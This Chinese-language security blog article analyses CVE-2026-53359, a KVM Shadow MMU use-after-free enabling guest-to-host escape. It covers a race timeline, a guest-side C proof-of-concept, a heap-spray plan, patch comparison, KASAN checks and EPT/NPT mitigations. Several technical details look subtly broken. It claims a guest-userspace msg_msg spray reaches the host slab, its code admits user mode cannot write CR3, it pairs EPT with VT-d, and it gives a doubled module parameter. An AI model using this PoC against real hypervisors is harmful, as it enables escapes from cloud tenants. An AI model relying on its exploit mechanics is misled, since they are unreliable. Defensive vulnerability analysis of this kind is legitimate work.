Announcement

👇Official Account👇

Welcome to join the group & private message

Article first/tail QR code

Skip to content

Januscape CVE-2026-53359:KVM Shadow MMU Use-After-Free 虚拟机逃逸深度分析

2026 年 7 月,Google kvmCTF 竞赛公开了三个独立的高危 Linux 内核漏洞研究。其中 Januscape(CVE-2026-53359)是唯一一个虚拟机逃逸漏洞——不同于 GhostLock 和 Bad Epoll 的本地提权,Januscape 允许 Guest VM 突破 KVM 隔离,在 Host 内核上下文中执行代码。这意味着任何运行不受信任虚拟机的云服务商都可能受到影响。

漏洞概览

属性详情
CVE 编号CVE-2026-53359
漏洞类型Use-After-Free (UAF)
影响组件KVM Shadow MMU (arch/x86/kvm/mmu.c)
研究来源Google kvmCTF
成功率~92%(实验环境)
影响范围Linux 内核 5.15 - 6.10
攻击面Guest VM → Host Kernel(VM Escape)
修复版本Linux 6.10.3+

KVM Shadow MMU 原理

KVM(Kernel-based Virtual Machine)使用两种内存虚拟化方案:TDP(Two-Dimensional Paging / EPT)和 Shadow Paging。当硬件不支持 EPT(Intel VT-d)或 NPT(AMD RVI)时,KVM 回退到 Shadow Paging。

┌─────────────────────────────────────────────────────┐
│           KVM Shadow Paging 架构                      │
├─────────────────────────────────────────────────────┤
│                                                       │
│  ┌──────────────────────┐    ┌──────────────────┐   │
│  │   Guest VM (Ring 0)  │    │   Host Kernel     │   │
│  │                      │    │                   │   │
│  │  Guest CR3 ───────────────────►  Shadow Page   │   │
│  │  (Guest 虚拟地址空间)│    │  Table (SPT)      │   │
│  │                      │    │                   │   │
│  │  Guest Page Table    │    │  Shadow PT ↔     │   │
│  │  (GPT)               │    │  Guest PT mapping │   │
│  │                      │    │                   │   │
│  │  Guest PTE           │    │  Shadow PTE       │   │
│  │  ┌─────┬─────┐       │    │  ┌─────┬─────┐   │   │
│  │  │ VPN │ PPN │       │    │  │ VPN │ HPA │   │   │
│  │  └─────┴─────┘       │    │  └─────┴─────┘   │   │
│  │                      │    │  (指向真实物理页)  │   │
│  └──────────────────────┘    └──────────────────┘   │
│                                                       │
│  Shadow MMU 维护 Guest 虚拟地址 → Host 物理地址映射    │
│  KVM 在影子页表中模拟 Guest 的页表操作                  │
│                                                       │
└─────────────────────────────────────────────────────┘

关键点:Shadow Page Table(SPT)是 KVM 维护的影子页表,它直接映射 Guest 虚拟地址到 Host 物理地址,绕过 Guest 的页表层级。Guest 每次修改自己的页表时,KVM 需要同步更新 Shadow Page Table。

漏洞根因分析

Januscape 漏洞的根因在于 KVM Shadow MMU 在处理 Shadow Page Table 条目释放时的竞态条件:

漏洞触发时序图:

  CPU 0 (vCPU-0)                CPU 1 (vCPU-1)
  ─────────────────             ─────────────────
  1. Guest 触发 #PF
     → KVM mmu_page_fault()
     → 分配新 shadow page
     → kvm_mmu_get_page()

  2. 检查 sp->role.cache
     → 角色匹配
     → 返回现有 sp 指针

                               3. Guest 修改 CR3
                                  → KVM 检测到 mmio_gen 变化
                                  → kvm_mmu_reset_context()
                                  → kvm_mmu_commit_zap_page()
                                  → 释放 sp (kfree)

  4. 使用已释放的 sp 指针
     → sp->spt[i] = ... 
     → 堆喷射写入已释放对象
     → UAF!

  时间窗口:CPU 0 在步骤 2 和 4 之间
  没有持有 mmu_lock → CPU 1 可以释放 sp

漏利用前置条件

要让这个 UAF 变成可利用的 VM 逃逸,需要满足以下条件:

  1. 强制 KVM 使用 Shadow Paging:禁用硬件 EPT/NPT

    # 在 Host 上禁用 EPT
    kvm_intel.kvm_intel.ept=0
    
    # 或在模块参数中
    echo "options kvm_intel ept=0" > /etc/modprobe.d/kvm-noept.conf
  2. Guest 需要能够触发大量页表更新:制造 Shadow Page Table 频繁创建/销毁

  3. Guest 需要能控制被释放对象的后续分配:进行堆喷射

堆喷射策略

KVM Shadow Page 分配使用 kmem_cache(slab 分配器),具体是 mmu_page_header_cache。攻击者需要在 Guest 中操作,使 Host 的 slab 分配器重用被释放的 Shadow Page 内存:

堆喷射流程:

  ┌───────────────────────────────────────────────────────┐
  │  Phase 1: 触发 UAF                                    │
  │  Guest 操作大量页表映射/取消映射                        │
  │  → Host slab 分配/释放 mmu_page_header_cache 对象     │
  │  → 制造 UAF 窗口                                      │
  │                                                       │
  │  Phase 2: 占位分配 (Heap Spray)                       │
  │  Guest 触发其他操作导致 Host 分配新对象到同一 slab slot│
  │  目标:使用可控结构体覆盖 freed sp                     │
  │  常用占位对象:struct pipe_buffer / msg_msg           │
  │                                                       │
  │  Phase 3: 伪造 Shadow Page Table                      │
  │  通过 UAF 写入伪造 sp->spt[] 条目                      │
  │  → 伪造的 SPTE 指向 Host 内核物理页                   │
  │  → Guest 访问伪造地址 = 访问 Host 内核内存             │
  │                                                       │
  │  Phase 4: 代码执行                                    │
  │  修改 Host 内核中的函数指针 → ROP/JOP                 │
  │  → 在 Host 内核上下文中执行任意代码                     │
  │  → 完成 VM 逃逸                                       │
  └───────────────────────────────────────────────────────┘

Guest 端 PoC 代码框架

以下是在 Guest VM 中运行的 PoC 代码(C 语言),用于触发 Shadow MMU 竞态条件:

c
// januscape_trigger.c — 在 Guest VM 内运行
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <pthread.h>
#include <signal.h>
#include <x86intrin.h>

#define PAGE_SIZE 4096
#define NUM_PAGES 4096
#define RACE_ITERATIONS 100000

static volatile int race_start = 0;
static volatile int race_done = 0;

// vCPU 0: 不断触发 page fault 和 shadow page 分配
void *vcpu0_worker(void *arg) {
    // 分配一批页面用于页表操作
    void *pages[NUM_PAGES];
    for (int i = 0; i < NUM_PAGES; i++) {
        pages[i] = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
                        MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    }

    while (!race_start) {
        __asm__ volatile("pause");
    }

    for (int iter = 0; iter < RACE_ITERATIONS; iter++) {
        // 快速映射/取消映射大量页面 → 触发 Shadow Page 创建/销毁
        for (int i = 0; i < NUM_PAGES; i += 64) {
            // 触发 page fault → KVM 分配 shadow page
            *(volatile char *)pages[i] = 'A';
        }

        // 快速 munmap → 触发 shadow page 释放
        for (int i = 0; i < NUM_PAGES; i += 128) {
            munmap(pages[i], PAGE_SIZE);
            pages[i] = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        }
    }

    race_done = 1;
    return NULL;
}

// vCPU 1: 不断修改 CR3 → 触发 shadow page table 重置
void *vcpu1_worker(void *arg) {
    while (!race_start) {
        __asm__ volatile("pause");
    }

    for (int iter = 0; iter < RACE_ITERATIONS; iter++) {
        // 快速切换地址空间 → KVM 检测 CR3 变化 → 重置 MMU context
        // 通过修改页表根 → 触发 shadow page table 全量刷新
        void *new_addr_space = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
                                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

        // 利用 mov cr3 指令触发 VM Exit → KVM 处理 CR3 写入
        // 实际在用户态无法直接修改 CR3,这里通过大量 mmap/munmap
        // 让内核频繁更新页表 → KVM 间接检测到地址空间变化
        munmap(new_addr_space, PAGE_SIZE);

        // 制造 CPU 1 和 CPU 0 之间的缓存行争用
        __asm__ volatile("pause\npause\npause");
    }

    return NULL;
}

// 堆喷射:尝试覆盖已释放的 shadow page
void heap_spray(void) {
    // 使用 msg_msg 结构体进行堆喷射
    // msg_msg 的大小与 mmu_page_header_cache 的 slab 大小接近
    struct {
        long mtype;
        char mtext[256]; // 匹配 shadow page header 大小
    } msg;

    msg.mtype = 1;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // 大量发送消息 → Host slab 分配器重用已释放的 shadow page 内存
    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    for (int i = 0; i < 1000; i++) {
        msgsnd(qid, &msg, sizeof(msg.mtext), 0);
    }
}

int main(void) {
    printf("[*] Januscape CVE-2026-53359 PoC\n");
    printf("[*] Target: KVM Shadow MMU UAF\n");
    printf("[*] Phase 1: Triggering race condition...\n");

    // 禁用 EPT/NPT 强制使用 Shadow Paging
    printf("[!] Ensure host has EPT/NPT disabled for this PoC\n");
    printf("[!] (kvm_intel.ept=0 or kvm_amd.npt=0)\n");

    pthread_t t0, t1;
    pthread_create(&t0, NULL, vcpu0_worker, NULL);
    pthread_create(&t1, NULL, vcpu1_worker, NULL);

    // 同步启动
    race_start = 1;

    pthread_join(t0, NULL);
    pthread_join(t1, NULL);

    printf("[*] Phase 2: Heap spraying...\n");
    heap_spray();

    printf("[*] Phase 3: Checking for corruption...\n");
    // 在实际利用中,这里会检查是否成功控制了 shadow page
    // 如果成功,则可以构造任意读写原语

    printf("[*] Done. Check dmesg for KASAN reports.\n");
    return 0;
}

Host 端检测与验证

在 Host 上使用 KASAN(Kernel Address Sanitizer)可以检测 UAF:

bash
# 使用 KASAN 内核编译配置
# CONFIG_KASAN=y
# CONFIG_KASAN_GENERIC=y
# CONFIG_KASAN_INLINE=y

# 编译 KASAN 内核
make KASAN=1 -j$(nproc)

# 启动 KASAN 内核后运行 Guest
dmesg | grep -i "kasan\|use-after-free\|kvm"

# 典型 KASAN 输出:
# [  123.456789] BUG: KASAN: slab-use-after-free in kvm_mmu_get_page+0x3a2/0x4b0
# [  123.456790] Read of size 8 at addr ffff888123456789
# [  123.456791] Call Trace:
# [  123.456792]  kvm_mmu_get_page+0x3a2/0x4b0
# [  123.456793]  page_fault_handle+0x1a0/0x2d0
# [  123.456794]  kvm_mmu_page_fault+0xb5/0x160

补丁分析

Linux 6.10.3 中的修复补丁在 Shadow MMU 中引入了引用计数和 RCU 保护:

c
// 修复前(有漏洞):mmu.c
struct kvm_mmu_page *kvm_mmu_get_page(struct kvm_vcpu *vcpu, gfn_t gfn,
                                      ...)
{
    // 检查缓存 → 返回现有 sp 指针(无锁保护)
    struct kvm_mmu_page *sp = NULL;
    
    // 只在查找阶段持有 mmu_lock
    spin_lock(&vcpu->kvm->mmu_lock);
    sp = kvm_mmu_find_shadow_page(vcpu, gfn, ...);
    spin_unlock(&vcpu->kvm->mmu_lock);
    // ← 漏洞:释放 sp 的窗口在这里

    if (sp) {
        // 使用 sp → 可能已被其他 CPU 释放!
        sp->spt[...] = ...;  // UAF
        return sp;
    }
    // ...
}

// 修复后:引入 RCU 读取和引用计数
struct kvm_mmu_page *kvm_mmu_get_page(struct kvm_vcpu *vcpu, gfn_t gfn,
                                      ...)
{
    struct kvm_mmu_page *sp;

    // 使用 RCU 读取保护查找
    rcu_read_lock();
    sp = kvm_mmu_find_shadow_page(vcpu, gfn, ...);
    
    if (sp) {
        // 获取引用计数 → 防止被释放
        if (!kvm_mmu_get_ref(sp)) {
            rcu_read_unlock();
            return NULL;
        }
    }
    rcu_read_unlock();

    if (sp) {
        // 安全使用:引用计数保证不会被释放
        sp->spt[...] = ...;
        kvm_mmu_put_ref(sp);  // 使用后释放引用
        return sp;
    }
    // ...
}

与 GhostLock、Bad Epoll 的对比

维度JanuscapeGhostLockBad Epoll
CVECVE-2026-53359CVE-2026-43499CVE-2026-46242
漏洞类型UAF (Shadow MMU)Stack UAF (rt_mutex)Heap UAF (epoll)
攻击方向VM EscapeLPE + 容器逃逸LPE
成功率~92%~97%~99%
存在时间~5 年~15 年~10 年
来源Google kvmCTFGoogle kernelCTFGoogle kernelCTF
影响范围虚拟化平台/云服务所有 Linux 发行版Linux + Android

Januscape 是三者中唯一不依赖 Guest OS 内核漏洞的——攻击完全在 Guest 用户态进行,利用的是 Host KVM 的 bug。

云服务商风险评估

对于运行多租户虚拟机的云服务商,Januscape 的影响评估:

风险等级矩阵:

  ┌─────────────────────────────────────────────┐
  │  云服务商类型     │ 风险等级 │ 原因              │
  ├──────────────────┼─────────┼─────────────────┤
  │  大型云 (AWS等)   │ 低      │ 使用定制内核+EPT  │
  │  中型 VPS 提供商  │ 中      │ 可能运行标准内核  │
  │  自建 KVM 集群   │ 高      │ 常禁用 EPT 优化    │
  │  容器逃逸场景     │ 不适用  │ Shadow Paging不用于容器│
  └─────────────────────────────────────────────┘

  关键判断:是否使用 EPT/NPT
  - EPT enabled (大多数现代 Intel/AMD) → 不受此漏洞影响
  - EPT disabled (老旧硬件/特定配置) → 高风险

检测与缓解

bash
# 检查 EPT/NPT 是否启用
# Intel
cat /sys/module/kvm_intel/parameters/ept
# 输出 Y = 安全,N = 需要修复

# AMD
cat /sys/module/kvm_amd/parameters/npt
# 输出 Y = 安全,N = 需要修复

# 检查内核版本
uname -r
# 需要 6.10.3+ 或对应稳定分支的补丁版本

# 临时缓解:确保 EPT/NPT 启用
modprobe -r kvm_intel
modprobe kvm_intel ept=1

# 或在 GRUB 中添加内核参数
# kvm_intel.ept=1 kvm_amd.npt=1

总结

Januscape 是 2026 年 Google CTF 系列研究中最具影响力的漏洞之一。它展示了虚拟化隔离并非无懈可击——即使在 KVM 这样的成熟项目中,Shadow MMU 的复杂状态管理仍然存在竞态条件导致的 UAF 漏洞。

对于安全团队,关键收获是:EPT/NPT 的硬件辅助虚拟化不仅提升性能,更是关键的安全边界。任何禁用 EPT 的配置都应被视为安全风险进行评估。

参考资料

上次更新于: